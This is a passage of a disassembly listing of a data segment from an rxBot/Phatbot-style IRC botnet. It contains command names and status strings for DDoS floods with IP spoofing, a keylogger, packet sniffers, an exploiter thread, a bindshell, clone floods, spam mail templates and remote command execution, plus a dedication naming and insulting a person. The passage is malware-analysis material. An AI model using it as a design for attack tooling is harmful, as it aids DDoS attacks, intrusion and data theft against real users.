34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aAlreadyDScanni db 'Already %d scanning threads. Too many specified.',0 align 4 unk_42A6DC db 2Dh ; - ; DATA XREF: sub_401ACD+5797o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aFailedToSta_11 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42A714 db 2Dh ; - ; DATA XREF: sub_401ACD+572Co db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 4 unk_42A75C db 2Dh ; - ; DATA XREF: sub_401ACD+567Bo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aMessageHasBeen db '- Message has been sent successfuly',0 align 10h unk_42A790 db 2Dh ; - ; DATA XREF: sub_401ACD+5647o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aFailedToSendMe db '- Failed to send message, error <%i>.',0 align 4 unk_42A7C4 db 2Dh ; - ; DATA XREF: sub_401ACD+5623o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aNetsendDoesNot db '- NetSend does not work on Win9x systems',0 align 4 unk_42A7FC db 2Dh ; - ; DATA XREF: sub_401ACD+5581o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aSendingMessage db '- Sending message %s times to %s using name %s',0 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5564o align 10h unk_42A850 db 2Dh ; - ; DATA XREF: sub_401ACD+554Fo db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aFailedToSta_12 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42A888 db 2Dh ; - ; DATA XREF: sub_401ACD+54E0o db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 10h unk_42A8D0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406EFFo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0 align 4 unk_42A908 db 2Dh ; - ; DATA XREF: sub_401ACD+5428o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aFailedToSta_13 db '- Failed to start flood thread, error: <%d>.',0 align 10h unk_42A940 db 2Dh ; - ; DATA XREF: sub_401ACD+53AEo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0 align 4 aNormal db 'Normal',0 ; DATA XREF: sub_401ACD+539Eo align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401ACD+5397o unk_42A984 db 2Dh ; - ; DATA XREF: sub_401ACD+52FCo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFloodTy db '- Invalid flood type specified.',0 align 10h aRandom_0 db 'random',0 ; DATA XREF: sub_401ACD+52ECo align 4 aAck db 'ack',0 ; DATA XREF: sub_401ACD+52D5o aHcon db 'hcon',0 ; DATA XREF: sub_401ACD+525Fo align 4 aHttpcon db 'httpcon',0 ; DATA XREF: sub_401ACD+524Co unk_42A9CC db 2Dh ; - ; DATA XREF: sub_401ACD+51FDo db 3, 34h, 2 db 65h ; e db 6Dh, 61h, 69h db 6Ch ; l db 2, 3, 2Dh aMessageSentToS db ' Message sent to %s.',0 align 10h aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401ACD+5189o db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 aEmail db 'email',0 ; DATA XREF: sub_401ACD+509Eo align 4 aTcp db 'tcp',0 ; DATA XREF: sub_401ACD+5087o aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401ACD+5070o align 4 aP: ; DATA XREF: sub_401ACD+5059o unicode 0, <p>,0 aPing_0 db 'ping',0 ; DATA XREF: sub_401ACD+5042o align 10h aPingflood db 'pingflood',0 ; DATA XREF: sub_401ACD+502Bo align 4 aNs db 'ns',0 ; DATA XREF: sub_401ACD+5014o align 10h aNetsend db 'netsend',0 ; DATA XREF: sub_401ACD+4FFDo aU: ; DATA XREF: sub_401ACD+4FE6o ; ___:00437F88o unicode 0, <u>,0 aUdp db 'udp',0 ; DATA XREF: sub_401ACD+4FCFo aUdpflood db 'udpflood',0 ; DATA XREF: sub_401ACD+4FB8o align 4 aAdvscan db 'advscan',0 ; DATA XREF: sub_401ACD+4F8Ao aPsc db 'psc',0 ; DATA XREF: sub_401ACD+4F73o aPortscan db 'portscan',0 ; DATA XREF: sub_401ACD+4F5Co align 4 aC_a db 'c_a',0 ; DATA XREF: sub_401ACD+4F36o aC_action db 'c_action',0 ; DATA XREF: sub_401ACD+4F1Fo align 4 aC_pm db 'c_pm',0 ; DATA XREF: sub_401ACD+4F08o align 4 aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401ACD+4EF1o align 4 aSc db 'sc',0 ; DATA XREF: sub_401ACD+4EDAo align 4 aScan db 'scan',0 ; DATA XREF: sub_401ACD+4EC3o align 4 aRd db 'rd',0 ; DATA XREF: sub_401ACD+4EACo align 4 aRedirect db 'redirect',0 ; DATA XREF: sub_401ACD+4E95o align 4 aJpl10 db 'jpl10',0 ; DATA XREF: sub_401ACD+4E7Eo align 4 aJpldg10 db 'jpldg10',0 ; DATA XREF: sub_401ACD+4E67o aWonk db 'wonk',0 ; DATA XREF: sub_401ACD+4E50o align 4 aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401ACD+4E39o align 4 dword_42AB08 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4E2Co aFailedToSta_14 db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_42AB44 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4DBDo aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0 aSkysyn db 'skysyn',0 ; DATA XREF: sub_401ACD+4D3Ao align 4 aSyn db 'syn',0 ; DATA XREF: sub_401ACD+4D23o ; sub_401ACD+52BDo aSynflood db 'synflood',0 ; DATA XREF: sub_401ACD+4D0Co align 4 unk_42AB8C db 2Dh ; - ; DATA XREF: sub_401ACD+4CFFo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aFailedToSta_15 db '- Failed to start flood thread, error: <%d>.',0 align 4 aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401ACD+4C28o align 4 aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401ACD+4C11o ; sub_412B08:loc_412C34o aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401ACD+4BFAo ; sub_412B08:loc_412C18o align 10h aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401ACD+4BE3o ; sub_412B08+F1o align 4 aC: ; DATA XREF: sub_401ACD+4BCCo ; ___:00437C40o ... unicode 0, <c>,0 aClone_0 db 'clone',0 ; DATA XREF: sub_401ACD+4BB5o align 4 aIcmp db 'icmp',0 ; DATA XREF: sub_401ACD+4B8Co align 10h aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401ACD+4B75o align 4 aMv db 'mv',0 ; DATA XREF: sub_401ACD+4B5Eo align 10h aRename db 'rename',0 ; DATA XREF: sub_401ACD+4B47o align 4 aFf db 'ff',0 ; DATA XREF: sub_401ACD+4B30o align 4 aFindfile db 'findfile',0 ; DATA XREF: sub_401ACD+4B19o align 4 aE: ; DATA XREF: sub_401ACD+4B02o unicode 0, <e>,0 aExecute db 'execute',0 ; DATA XREF: sub_401ACD+4AEBo aJp10 db 'jp]10',0 ; DATA XREF: sub_401ACD+4AD4o align 4 aJpDe100 db 'jp]de100',0 ; DATA XREF: sub_401ACD+4ABDo align 4 aDe db 'de',0 ; DATA XREF: sub_401ACD+4AA6o align 4 aDelay db 'delay',0 ; DATA XREF: sub_401ACD+4A8Fo align 4 aRp db 'rp',0 ; DATA XREF: sub_401ACD+4A78o align 4 aRepeat db 'repeat',0 ; DATA XREF: sub_401ACD+4A61o ; sub_401ACD+6BE7o align 10h aTsn db 'tsn',0 ; DATA XREF: sub_401ACD+4A4Ao aTsunami db 'tsunami',0 ; DATA XREF: sub_401ACD+4A33o aT3 db 't3',0 ; DATA XREF: sub_401ACD+4A1Co align 10h aTarga3 db 'targa3',0 ; DATA XREF: sub_401ACD+4A05o align 4 aC_p db 'c_p',0 ; DATA XREF: sub_401ACD+49EEo aC_part db 'c_part',0 ; DATA XREF: sub_401ACD+49D7o align 4 aC_j db 'c_j',0 ; DATA XREF: sub_401ACD+49C0o aC_join db 'c_join',0 ; DATA XREF: sub_401ACD+49A9o align 10h aC_n db 'c_n',0 ; DATA XREF: sub_401ACD+4992o aC_nick db 'c_nick',0 ; DATA XREF: sub_401ACD+497Bo align 4 aC_m db 'c_m',0 ; DATA XREF: sub_401ACD+4964o aC_mode db 'c_mode',0 ; DATA XREF: sub_401ACD+494Do align 4 aC_r db 'c_r',0 ; DATA XREF: sub_401ACD+4936o aC_raw db 'c_raw',0 ; DATA XREF: sub_401ACD+491Fo align 4 aM: ; DATA XREF: sub_401ACD+4908o ; ___:00437C50o unicode 0, <m>,0 aCy db 'cy',0 ; DATA XREF: sub_401ACD+48DAo align 4 aCycle db 'cycle',0 ; DATA XREF: sub_401ACD+48C3o align 4 aA: ; DATA XREF: sub_401ACD+48ACo unicode 0, <a>,0 aAction db 'action',0 ; DATA XREF: sub_401ACD+4895o align 10h aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_401ACD+4867o aAa db 'aa',0 ; DATA XREF: sub_401ACD+4850o align 4 aAddalias db 'addalias',0 ; DATA XREF: sub_401ACD+4839o align 4 aKl db 'kl',0 ; DATA XREF: sub_401ACD+4822o align 4 aKilllog db 'killlog',0 ; DATA XREF: sub_401ACD+480Bo aGh db 'gh',0 ; DATA XREF: sub_401ACD+47E2o align 4 aGethost db 'gethost',0 ; DATA XREF: sub_401ACD+47CDo aCap db 'cap',0 ; DATA XREF: sub_401ACD+47B8o aCapture db 'capture',0 ; DATA XREF: sub_401ACD+47A3o unk_42AD1C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406265o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aCommandUnknown db '- Command unknown.',0 unk_42AD38 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40625Bo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aNoMessageSpeci db '- No message specified.',0 align 4 aSend db 'send',0 ; DATA XREF: sub_401ACD+475Eo ; sub_409B12+5F0o align 4 unk_42AD64 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40621Eo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListFailed db '- User list failed.',0 align 4 unk_42AD84 db 2Dh ; - ; DATA XREF: sub_401ACD+4747o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListComple db '- User list completed.',0 aUser db 'user',0 ; DATA XREF: sub_401ACD+46D3o align 4 unk_42ADAC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406193o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListFaile db '- Share list failed.',0 align 4 unk_42ADCC db 2Dh ; - ; DATA XREF: sub_401ACD+46BCo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListCompl db '- Share list completed.',0 align 10h aShare db 'share',0 ; DATA XREF: sub_401ACD+466Eo align 4 aContinue db 'continue',0 ; DATA XREF: sub_401ACD+462Ao align 4 aPause db 'pause',0 ; DATA XREF: sub_401ACD+4610o align 4 aStop db 'stop',0 ; DATA XREF: sub_401ACD+45F6o align 4 unk_42AE14 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4060B6o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListFai db '- Service list failed.',0 unk_42AE34 db 2Dh ; - ; DATA XREF: sub_401ACD+45DFo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListCom db '- Service list completed.',0 align 4 aStart db 'start',0 ; DATA XREF: sub_401ACD+45A9o align 10h unk_42AE60 db 2Dh ; - ; DATA XREF: sub_401ACD+4577o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0 aNet db 'net',0 ; DATA XREF: sub_401ACD+4553o dword_42AE9C dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4548o aFailedToStartL db '- Failed to start logging thread, error: <%d>.',0 align 4 dword_42AED8 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+44D9o aKeyLoggerActiv db '- Key logger active.',0 align 4 dword_42AEFC dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4457o aAlreadyRunning db '- Already running.',0 align 4 dword_42AF1C dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD:loc_405F0Eo aNoKeyLoggerThr db '- No key logger thread found.',0 align 4 dword_42AF48 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4437o aKeyLoggerStopp db '- Key logger stopped. (%d thread(s) stopped.)',0 align 4 aFile db 'file',0 ; DATA XREF: sub_401ACD+43F8o align 4 aKeylog db 'keylog',0 ; DATA XREF: sub_401ACD+43D6o align 4 dword_42AF94 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD:loc_405E98o aNoThreadFound_ db '- No thread found.',0 align 4 dword_42AFB4 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43C1o aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0 align 4 dword_42AFEC dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4391o aFailedToSta_16 db '- Failed to start server, error: <%d>.',0 align 10h dword_42B020 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4344o aServerRunnin_0 db '- Server running on Port: 113.',0 align 4 dword_42B04C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4334o aAlreadyRunni_0 db '- Already running.',0 align 4 aIdent db 'ident',0 ; DATA XREF: sub_401ACD+4301o align 4 unk_42B074 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405DC3o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aNoPhatbotSniff db '- No Phatbot sniffer thread found.',0 unk_42B0A4 db 2Dh ; - ; DATA XREF: sub_401ACD+42ECo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotSniffer db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0 unk_42B0E4 db 2Dh ; - ; DATA XREF: sub_401ACD+42BCo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFailedToSta_17 db '- Failed to start sniffer thread, error: <%d>.',0 unk_42B120 db 2Dh ; - ; DATA XREF: sub_401ACD+424Do db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotPacketS db '- Phatbot packet sniffer active.',0 align 10h unk_42B150 db 2Dh ; - ; DATA XREF: sub_401ACD+41E6o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aAlreadyRunni_1 db '- Already running.',0 aSniffer db 'sniffer',0 ; DATA XREF: sub_401ACD+41AFo dword_42B178 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD:loc_405C71o aNoCarnivoreThr db '- No Carnivore thread found.',0 align 4 dword_42B1A4 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+419Ao aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0 align 10h dword_42B1E0 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+416Ao aFailedToSta_18 db '- Failed to start sniffer thread, error: <%d>.',0 align 4 dword_42B21C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+40FBo aCarnivorePacke db '- Carnivore packet sniffer active.',0 align 4 dword_42B24C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4094o aAlreadyRunni_2 db '- Already running.',0 align 4 aOn db 'on',0 ; DATA XREF: sub_401ACD+4074o ; sub_401ACD+41C6o ... align 10h aPsniff db 'psniff',0 ; DATA XREF: sub_401ACD+405Do align 4 aRf db 'rf',0 ; DATA XREF: sub_401ACD+4048o align 4 aReadfile db 'readfile',0 ; DATA XREF: sub_401ACD+4033o align 4 aCm db 'cm',0 ; DATA XREF: sub_401ACD+401Eo align 4 aCmd db 'cmd',0 ; DATA XREF: sub_401ACD+4009o aMirc db 'mirc',0 ; DATA XREF: sub_401ACD+3FF4o align 4 aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401ACD+3FDFo aV: ; DATA XREF: sub_401ACD+3FCAo ; ___:00437C44o ... unicode 0, <v>,0 aVisit db 'visit',0 ; DATA XREF: sub_401ACD+3FB5o align 4 aLi db 'li',0 ; DATA XREF: sub_401ACD+3FA0o align 10h aList db 'list',0 ; DATA XREF: sub_401ACD+3F8Bo align 4 aGt db 'gt',0 ; DATA XREF: sub_401ACD+3F76o align 4 aDel db 'del',0 ; DATA XREF: sub_401ACD+3F4Co aDelete db 'delete',0 ; DATA XREF: sub_401ACD+3F37o ; sub_401ACD+4644o align 4 aKi db 'ki',0 ; DATA XREF: sub_401ACD+3F22o align 4 aKill db 'kill',0 ; DATA XREF: sub_401ACD+3F0Do align 4 aKp db 'kp',0 ; DATA XREF: sub_401ACD+3EF8o align 4 aKillproc db 'killproc',0 ; DATA XREF: sub_401ACD+3EE3o align 4 aDn db 'dn',0 ; DATA XREF: sub_401ACD+3ECEo align 4 aDns db 'dns',0 ; DATA XREF: sub_401ACD+3EB9o aSe db 'se',0 ; DATA XREF: sub_401ACD+3EA4o align 10h aServer db 'server',0 ; DATA XREF: sub_401ACD+3E8Fo align 4 aO: ; DATA XREF: sub_401ACD+3E7Ao unicode 0, <o>,0 aOpen db 'open',0 ; DATA XREF: sub_401ACD+3E65o ; sub_401ACD+590Bo ... align 4 aPr db 'pr',0 ; DATA XREF: sub_401ACD+3E50o align 4 aPrefix db 'prefix',0 ; DATA XREF: sub_401ACD+3E3Bo align 10h aC_rn db 'c_rn',0 ; DATA XREF: sub_401ACD+3E26o align 4 aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401ACD+3E11o align 4 aC_q db 'c_q',0 ; DATA XREF: sub_401ACD+3DFCo aC_quit db 'c_quit',0 ; DATA XREF: sub_401ACD+3DE7o align 10h aKillthread db 'killthread',0 ; DATA XREF: sub_401ACD+3DBDo align 4 aRaw db 'raw',0 ; DATA XREF: sub_401ACD+3D93o aPt db 'pt',0 ; DATA XREF: sub_401ACD+3D7Eo align 4 aJ: ; DATA XREF: sub_401ACD+3D54o ; ___:00437C2Co unicode 0, <j>,0 aN: ; DATA XREF: sub_401ACD+3D2Ao ; ___:00437C4Co unicode 0, <n>,0 unk_42B34C db 2Dh ; - ; DATA XREF: sub_401ACD+3CF6o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aDisconnectingC db '- disconnecting clones...',0 align 4 aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C92o aRegister db 'register',0 ; DATA XREF: sub_401ACD+3C69o align 4 aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_401ACD+3C10o align 4 aMix db 'mix',0 ; DATA XREF: sub_401ACD+3B43o dword_42B3AC dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h ; DATA XREF: sub_401ACD+3AEFo ; sub_401ACD+3B26o dd 0 dword_42B3C4 dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h ; DATA XREF: sub_401ACD+3AB8o dd 1 dword_42B3DC dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h ; DATA XREF: sub_401ACD+3A81o ; sub_401ACD+3B98o aCtcp db 'ctcp',0 ; DATA XREF: sub_401ACD+3A2Co align 4 aNoticeSS_0 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401ACD+3997o ; sub_401ACD+39D3o ... align 4 aNotice_0 db 'notice',0 ; DATA XREF: sub_401ACD+393Do align 10h aMsg db 'msg',0 ; DATA XREF: sub_401ACD+384Eo aChgnick db 'chgnick',0 ; DATA XREF: sub_401ACD+3807o aNick_0 db 'nick',0 ; DATA XREF: sub_401ACD+3705o ; sub_401ACD+3D15o align 4 dword_42B424 dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h ; DATA XREF: sub_401ACD+36E8o dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1 dword_42B44C dd 636364h ; DATA XREF: sub_401ACD+366Bo dword_42B450 dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+351Eo dword_42B45C dd 4B43494Eh, 732520h ; DATA XREF: sub_401ACD+3501o ; sub_401ACD+3762o ... dword_42B464 dd 69257325h, 0 ; DATA XREF: sub_401ACD+34E6o ; sub_40ACB5+4Fo ... aPnick db 'pnick',0 ; DATA XREF: sub_401ACD+34A5o align 4 aPartSS db 'part %s %s',0 ; DATA XREF: sub_401ACD+3488o ; sub_401ACD+3578o ... align 10h aPartflood db 'partflood',0 ; DATA XREF: sub_401ACD+3461o align 4 aPartS db 'part %s',0 ; DATA XREF: sub_401ACD+3444o aPart_0 db 'part',0 ; DATA XREF: sub_401ACD+3422o ; sub_401ACD+3D69o align 4 aJoinS db 'join %s',0 ; DATA XREF: sub_401ACD+3405o ; sub_401ACD+354Co ... aJoin db 'join',0 ; DATA XREF: sub_401ACD+33E3o ; sub_401ACD+3D3Fo align 4 aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401ACD+33C6o align 4 aMode db 'mode',0 ; DATA XREF: sub_401ACD+3377o ; sub_401ACD+48F1o align 10h aNoticeSS_1 db 'notice %s :%s',0 ; DATA XREF: sub_401ACD+335Ao align 10h aNt db 'nt',0 ; DATA XREF: sub_401ACD+330Bo align 4 dword_42B4D4 dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0 ; DATA XREF: sub_401ACD+32EEo dword_42B4E8 dd 7463h ; DATA XREF: sub_401ACD+329Fo dword_42B4EC dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+3282o ; sub_401ACD+38A8o ... dword_42B4FC dd 5Fh ; DATA XREF: sub_401ACD+3253o ; sub_401ACD+32BFo ... dword_42B500 dd 6D70h ; DATA XREF: sub_401ACD+3233o ; sub_401ACD+487Eo unk_42B504 db 2Dh ; - ; DATA XREF: sub_401ACD+3201o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aSClonesLoadedT db '- %s clones loaded to %s:%s',0 align 10h aLoad db 'load',0 ; DATA XREF: sub_401ACD+31AAo align 4 aFlood db 'flood',0 ; DATA XREF: sub_401ACD+3181o align 10h aRinms db 'rinms',0 ; DATA XREF: sub_401ACD+316Ao align 4 aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401ACD+3155o aRin db 'rin',0 ; DATA XREF: sub_401ACD+3140o aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401ACD+312Bo align 4 unk_42B56C db 2Dh ; - ; DATA XREF: sub_401ACD+3120o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0 align 4 unk_42B5AC db 2Dh ; - ; DATA XREF: sub_401ACD+30AEo db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aAttemptingToCo db '- attempting to compromise %s...',0 align 4 aExploit db 'exploit',0 ; DATA XREF: sub_401ACD+3028o unk_42B5E4 db 2Dh ; - ; DATA XREF: sub_401ACD+300Eo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0 align 10h unk_42B610 db 2Dh ; - ; DATA XREF: sub_401ACD+2FF0o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0 aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401ACD+2FCCo align 10h unk_42B650 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_404A40o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0 align 4 aGet db 'get',0 ; DATA XREF: sub_401ACD:loc_404A22o ; sub_401ACD+3F61o unk_42B68C db 2Dh ; - ; DATA XREF: sub_401ACD+2EDAo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aInvalidLoginSl db 'Invalid login slot number: %d.',0 align 4 unk_42B6B8 db 2Dh ; - ; DATA XREF: sub_401ACD+2ED2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNoUserLoggedIn db 'No user logged in at slot: %d.',0 align 4 dword_42B6E4 dd 234032Dh, 6E69616Dh, 202D0302h, 7325h ; DATA XREF: sub_401ACD+2E7Do unk_42B6F4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40493Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aThisModOfRxbot db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir' db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress ' db 'from Hell?) who I love so much.',0 align 4 dword_42B7A4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_401ACD+2E4Bo aFailedToSta_19 db '- Failed to start secure thread, error: <%d>.',0 align 10h dword_42B7E0 dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h ; DATA XREF: sub_401ACD+2DD1o dd 2E6D6574h, 0 aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401ACD+2DCBo align 4 aSecuring db 'Securing',0 ; DATA XREF: sub_401ACD+2DC4o align 4 unk_42B814 db 2Dh ; - ; DATA XREF: sub_401ACD+2D4Do db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFailedToSta_20 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42B854 db 2Dh ; - ; DATA XREF: sub_401ACD+2CC9o db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aServerStartedO db ' Server started on: %s:%d.',0 align 10h dword_42B880 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2C47o aFailedToSta_21 db '- Failed to start server thread, error: <%d>.',0 align 4 dword_42B8BC dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2BD8o aServerStarte_0 db '- Server started on: %s:%d.',0 dword_42B8E4 dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD+2B25o dword_42B8F4 dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2B20o dword_42B900 dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Do dword_42B910 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_401ACD+2B08o dword_42B920 dd 234032Dh, 6E69616Dh, 202D0302h, 6F636552h, 63656E6Eh ; DATA XREF: sub_401ACD+2A95o dd 676E6974h, 2Eh aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404555o ; sub_401ACD:loc_409778o ... align 4 dword_42B954 dd 234032Dh, 6E69616Dh, 202D0302h, 63736944h, 656E6E6Fh ; DATA XREF: sub_401ACD+2A73o dd 6E697463h, 2E67h aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404533o align 4 aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Do ; sub_401ACD+7A7Eo align 4 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Eo align 4 unk_42B9A4 db 2Dh ; - ; DATA XREF: sub_401ACD+2A17o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh 